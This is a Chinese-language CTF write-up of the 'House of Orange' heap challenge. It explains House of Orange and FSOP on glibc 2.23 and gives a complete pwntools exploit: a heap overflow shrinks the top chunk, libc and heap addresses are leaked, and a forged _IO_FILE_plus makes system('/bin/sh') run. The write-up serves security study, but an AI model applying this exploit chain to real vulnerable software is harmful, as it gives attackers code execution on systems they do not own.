保护全开
1 2 3 4 5 6 7 Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
利用知识 这题正如其名,需要用到house of orange的手法,同时还需要用到FSOP的方法
先简单介绍一下house of orange 具体可以参考wiki
House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
FILE结构
如上图所示,每个IO函数都拥有着该结构。
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
但是事实上_IO_FILE 结构外包裹着另一种结构_IO_FILE_plus,其中包含了一个重要的指针 vtable 指向了一系列函数指针。
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; };
默认情况下:32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8;这里的偏移如下图所示
图中标识的距离就是0xd8,其中后者就vatable的地址
IO_jump_t 指针 而vtable 是 IO_jump_t 类型的指针,在IO_jump_t 中保存了一些函数指针,如下图
在程序中则为第二章图片中第二条红线的内容
程序分析
程序在每个创建的时候申请了三个堆块,第一个是结构体用来存放后两个堆块的地址,第二个用来存放name的内容,第三个用来price和color的数字;
程序的see功能输出,orange的color和price;基本上没什么问题用来做泄露
在upgrade中,存在堆溢出;在对已经存在的orange内容更新时,没有使用第一次输入的length,而是重新输入,最多为0x1000。
大概思路
首先通过堆溢出,改掉top chunk的大小,然后再申请一个0x1000的堆块将top chunk申请出来,然后再申请一个0x400的堆块,它会保留main_arena的,通过这样可以泄露libc的地址;再通过upgrade,将main_arena覆盖掉,这一可以读出heap的地址,从而获得heap的基地址。
然后我们对剩下的unsorted bin进行编辑,将它的size改为0x60,并且在其中伪造_IO_FILE_plus和unsorted bin attack;我们将利用unsorted bin attack将 _IO_list_all的内容改为main_arena+0x58
然后再次malloc,这时因为unsorted大小只有0x60,没办法满足要求,所以会被放入small bin里面,同时unsorted bin attack起作用,会将bk上面的_IO_list_all内容写成main_arena+0x58;此时会对一个非法地址进行malloc,此时会触发错误 此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) p = process('./1' ) elf =ELF('./1' ) libc = ELF('/home/lol/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) offset = libc.symbols["__malloc_hook" ] + 0x10 one_gadget=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] def build (length,name,price ): p.recvuntil("Your choice : " ) p.sendline("1" ) p.recvuntil("Length of name :" ) p.sendline(str (length)) p.recvuntil("Name :" ) p.send(name) p.recvuntil("Price of Orange:" ) p.sendline(str (price)) p.recvuntil("Color of Orange:" ) p.sendline("4" ) def see (): p.recvuntil("Your choice : " ) p.sendline("2" ) def upgrade (length,name,price ): p.recvuntil("Your choice : " ) p.sendline("3" ) p.recvuntil("Length of name :" ) p.sendline(str (length)) p.recvuntil("Name:" ) p.send(name) p.recvuntil("Price of Orange:" ) p.sendline(str (price)) p.recvuntil("Color of Orange:" ) p.sendline("4" ) build(0x70 ,'a' *0x8 ,32 ) payload = b'b' *0x78 +p64(0x21 )+p64(0xa0 )+p64(0x22 )+b'c' *0x8 +p64(0x0f41 ) upgrade(len (payload),payload,0xa0 ) build(0x1000 ,'d' *100 ,88 ) build(0x400 ,'\x78' ,88 ) see() p.recvuntil("Name of house : " ) base=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) -88 -offset-0x600 print (hex (base))one_gadget=base +one_gadget[0 ] io_list_all = base +libc.symbols['_IO_list_all' ] sys=base+libc.sym['system' ] vtable = base+libc.sym['_IO_2_1_stderr_' ]+0xd8 payload1 ='c' *0x10 +'\x78' upgrade(0x11 ,payload1,88 ) see() p.recvuntil('c' *0x10 ) heap = u64(p.recvuntil('\n' ).strip().ljust(8 , b'\x00' ))-0x58 heap_base = heap-0x120 print (hex (heap_base))payload2 =b'a' *0x400 +p64(0 )+p64(0x21 )+p32(0x58 )+p32(0x22 )+p64(0 ) fake_file = b"/bin/sh\x00" +p64(0x61 )+p64(0 )+p64(io_list_all-0x10 ) fake_file +=p64(0 )+p64(1 ) fake_file = fake_file.ljust(0xc0 ,b'\x00' ) fake_file += p64(0 ) * 3 fake_file += p64(heap_base+0x630 ) fake_file += p64(0 ) * 3 fake_file += p64(sys) payload2 += fake_file upgrade(len (payload2), payload2, 88 ) p.recvuntil("Your choice : " ) p.sendline('1' ) gdb.attach(p) sleep(1 ) p.interactive()